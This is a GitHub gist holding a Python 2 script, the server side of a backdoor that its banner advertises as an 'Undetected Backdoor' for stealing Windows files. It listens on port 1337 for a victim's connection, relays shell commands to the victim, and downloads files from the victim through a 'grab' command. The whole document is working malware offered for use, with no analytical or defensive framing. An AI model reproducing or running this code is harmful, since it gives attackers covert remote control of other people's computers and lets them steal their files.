Created
April 5, 2016 03:09
-
-
Save un4ckn0wl3z/46dff972ce27f6ad75d0127caf1f6dd6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Server-Shell | |
# Author: N4N0-GH05TL1N3 && H2O | |
import socket #import socket | |
import os | |
print """ | |
===================== | |
GRuBD00R | |
===================== | |
Undetected Backboor | |
4 stealing Win files | |
=================== | |
Note: cd*[path] | |
Note: grab*[filename] | |
------------------------------- | |
after recv files please rename | |
and change you extension | |
------------------------------- | |
""" | |
def transfer(conn, command) : | |
conn.send(command) | |
path = os.getcwd() | |
files = open(path + "/grub.png", 'wb') | |
while True : | |
bits = conn.recv(1024) | |
if 'Unable to find out the file' in bits : | |
print '[-] Unable to find out the file' | |
break | |
if bits.endswith('DONE') : | |
print '[+] Transfer completed' | |
files.close() | |
break | |
files.write(bits) | |
files.close() | |
def connect() : #define connect func | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create TCP socket | |
sock.bind(('0.0.0.0', 1337)) #bind IP and Port | |
sock.listen(1) #listen socket | |
conn, addr = sock.accept() #accept connection | |
print "[+] We got a connection from : ", addr #print message | |
while True : | |
command = raw_input("Shell> ") #command prompt | |
if 'terminate' in command : #keyword for kill connection | |
conn.send('terminate') | |
conn.close() | |
break | |
elif 'grab' in command : | |
transfer(conn, command) | |
else : | |
conn.send(command) #send command | |
print conn.recv(1024) #recv command | |
def main() : #define main func | |
connect() #put connect func in main | |
main() # use main |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment